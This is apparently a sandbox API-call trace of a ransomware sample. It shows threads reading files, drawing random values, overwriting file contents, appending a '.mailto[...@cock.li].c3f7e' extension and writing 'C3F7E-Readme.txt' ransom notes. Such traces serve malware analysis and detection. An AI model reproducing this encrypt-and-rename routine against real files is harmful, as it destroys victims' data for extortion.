	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xeec62e53
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xc9eb1334
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x8b5b24b9
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x89000974
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xaf2bd3d8
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xe342f628
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x939cb8d5
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x38d3780f
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xa3a8136f
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x5402de1
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x7d4e984b
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x6424bfd7
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x4fa3bd10
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xad8a32dc
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xa180879f
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x2105b7
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x51363bf9
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x7d897b7d
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0xb9a52414
	[0075.564] RtlRandom (in: Seed=0x998fe28 | out: Seed=0x998fe28) returned 0x41ecba
	[0075.574] ReadFile (in: hFile=0x984, lpBuffer=0x487e848, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x998fe18, lpOverlapped=0x0 | out: lpBuffer=0x487e848*, lpNumberOfBytesRead=0x998fe18*=0xc74, lpOverlapped=0x0) returned 1
	[0075.575] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.575] WriteFile (in: hFile=0x984, lpBuffer=0x488b050*, nNumberOfBytesToWrite=0xc74, lpNumberOfBytesWritten=0x998fe14, lpOverlapped=0x0 | out: lpBuffer=0x488b050*, lpNumberOfBytesWritten=0x998fe14*=0xc74, lpOverlapped=0x0) returned 1
	[0075.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.576] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0075.576] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x488b050) returned 1
	[0075.576] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x487e848) returned 1
	[0075.576] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.576] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.576] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e47d58
	[0075.576] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.576] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x998fe7c, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x998fe7c*=0x101, lpOverlapped=0x0) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0075.578] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0075.578] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78550
	[0075.578] wcscpy (in: _Dest=0x2d78550, _Source="C:\\588bce7c90097ed212\\1033\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf"
	[0075.578] wcscat (in: _Dest=0x2d78550, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.578] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x998fe34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.578] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61dc0
	[0075.580] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61dc0) returned 1
	[0075.580] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.580] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x998fe40, FileInformation=0x998fe18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x998fe40, FileInformation=0x998fe18) returned 0x0
	[0075.581] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x998fe40, FileInformation=0x998fe18, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.581] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78550) returned 1
	[0075.581] FlushFileBuffers (hFile=0x984) returned 1
	[0075.582] CloseHandle (hObject=0x984) returned 1
	[0075.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.583] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1033\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0075.583] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt"
	[0075.583] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.583] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.584] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x998fe3c, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x998fe3c*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.584] CloseHandle (hObject=0x984) returned 1
	[0075.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.585] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730e20) returned 1

Thread:
	id = 183
	os_tid = 0x100c

	[0075.575] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0075.576] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.578] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x98c
	[0075.578] GetFileSizeEx (in: hFile=0x98c, lpFileSize=0x9a0fed8 | out: lpFileSize=0x9a0fed8*=77232) returned 1
	[0075.578] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x12dac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.578] ReadFile (in: hFile=0x98c, lpBuffer=0x9a0fe5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9a0fe58, lpOverlapped=0x0 | out: lpBuffer=0x9a0fe5c*, lpNumberOfBytesRead=0x9a0fe58*=0x4, lpOverlapped=0x0) returned 1
	[0075.586] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0075.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.586] NtQuerySystemTime (in: CurrentTime=0x9a0fe38 | out: CurrentTime=0x9a0fe38*=132251868023252613) returned 0x0
	[0075.586] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x6cf67d11
	[0075.586] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x3ec0688b
	[0075.586] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x8f3bdd59
	[0075.586] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x87438721
	[0075.586] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x454ec6b0
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x300d44a1
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x6aac3e21
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x78e80187
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x8fd65fe9
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xc59a82f3
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x711d5c92
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x72a4b664
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xcb27ccdb
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xc41b92c
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x5caf607b
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xde629ff9
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xd39e7e88
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x36891550
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x401a41dc
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xbc0437f6
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x8f7b5324
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x2778db49
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xca37780c
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x1bc5a2ff
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x9aeb74aa
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xdaec96ad
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xf275f21d
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x3d8db0a6
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x9ad06e76
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0x5297fc9e
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xee8e7492
	[0075.587] RtlRandom (in: Seed=0x9a0fe44 | out: Seed=0x9a0fe44) returned 0xe29bb935
	[0075.595] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.595] ReadFile (in: hFile=0x98c, lpBuffer=0x487e848, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9a0fe18, lpOverlapped=0x0 | out: lpBuffer=0x487e848*, lpNumberOfBytesRead=0x9a0fe18*=0xc800, lpOverlapped=0x0) returned 1
	[0075.596] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0075.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0075.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x488b050
	[0075.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0075.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0075.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.600] WriteFile (in: hFile=0x98c, lpBuffer=0x488b050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9a0fe18, lpOverlapped=0x0 | out: lpBuffer=0x488b050*, lpNumberOfBytesWritten=0x9a0fe18*=0xc800, lpOverlapped=0x0) returned 1
	[0078.499] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x488b050) returned 1
	[0078.499] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x487e848) returned 1
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x498e5e8
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a070
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34348
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x492d128
	[0078.501] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.501] WriteFile (in: hFile=0x98c, lpBuffer=0x492d128*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x9a0fe98, lpOverlapped=0x0 | out: lpBuffer=0x492d128*, lpNumberOfBytesWritten=0x9a0fe98*=0x113, lpOverlapped=0x0) returned 1
	[0078.681] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d128) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a070) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34348) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498e5e8) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0078.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0078.684] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986cf8
	[0078.684] wcscpy (in: _Dest=0x4986cf8, _Source="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml"
	[0078.684] wcscat (in: _Dest=0x4986cf8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.684] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9a0fe50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.684] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476ab68
	[0078.684] NtSetInformationFile (FileHandle=0x98c, IoStatusBlock=0x9a0fe48, FileInformation=0x476ab68, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ab68) returned 1
	[0078.733] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5db98) returned 1
	[0078.733] NtQueryInformationFile (in: FileHandle=0x98c, IoStatusBlock=0x9a0fe5c, FileInformation=0x9a0fe34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9a0fe5c, FileInformation=0x9a0fe34) returned 0x0
	[0078.733] NtSetInformationFile (FileHandle=0x98c, IoStatusBlock=0x9a0fe5c, FileInformation=0x9a0fe34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.734] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986cf8) returned 1
	[0078.734] FlushFileBuffers (hFile=0x98c) returned 1
	[0080.079] CloseHandle (hObject=0x98c) returned 1
	[0080.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.183] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1033\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\"
	[0080.183] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt"
	[0080.183] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\c3f7e-readme.txt")) returned 0x20
	[0080.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a1d8) returned 1

Thread:
	id = 184
	os_tid = 0x123c

	[0075.596] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0075.601] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.602] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.602] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x9a8fa0c | out: lpFileSize=0x9a8fa0c*=3702) returned 1
	[0075.602] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0xe72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.602] ReadFile (in: hFile=0x984, lpBuffer=0x9a8f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9a8f98c, lpOverlapped=0x0 | out: lpBuffer=0x9a8f990*, lpNumberOfBytesRead=0x9a8f98c*=0x4, lpOverlapped=0x0) returned 1
	[0075.604] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0075.604] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.604] NtQuerySystemTime (in: CurrentTime=0x9a8f96c | out: CurrentTime=0x9a8f96c*=132251868023409121) returned 0x0
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x726b3067
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x3554e36
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x2649b77
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x3d630c3d
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xa7aeecfa
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xca7a5af7
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x4062ea70
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x353b4e72
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xf2961522
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x96355bda
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x26270b60
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x21109f3d
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xc3b21682
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xb0b06355
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xc9bc4856
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x715e67b
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xe598ab8e
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xdedaf273
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x1df636a6
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x9d3fad76
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x5b640d32
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x7eeda30e
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x95f5e4e8
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x53415375
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x9f40b33
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x4ce24b04
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xc7d9ae55
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xca816f4a
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x45beb90
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0x3e70debe
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xe677d64a
	[0075.604] RtlRandom (in: Seed=0x9a8f978 | out: Seed=0x9a8f978) returned 0xe1370846
	[0075.614] ReadFile (in: hFile=0x984, lpBuffer=0x4897858, nNumberOfBytesToRead=0xe76, lpNumberOfBytesRead=0x9a8f968, lpOverlapped=0x0 | out: lpBuffer=0x4897858*, lpNumberOfBytesRead=0x9a8f968*=0xe76, lpOverlapped=0x0) returned 1
	[0075.614] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.614] WriteFile (in: hFile=0x984, lpBuffer=0x48a4060*, nNumberOfBytesToWrite=0xe76, lpNumberOfBytesWritten=0x9a8f964, lpOverlapped=0x0 | out: lpBuffer=0x48a4060*, lpNumberOfBytesWritten=0x9a8f964*=0xe76, lpOverlapped=0x0) returned 1
	[0075.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0075.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.616] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47df8) returned 1
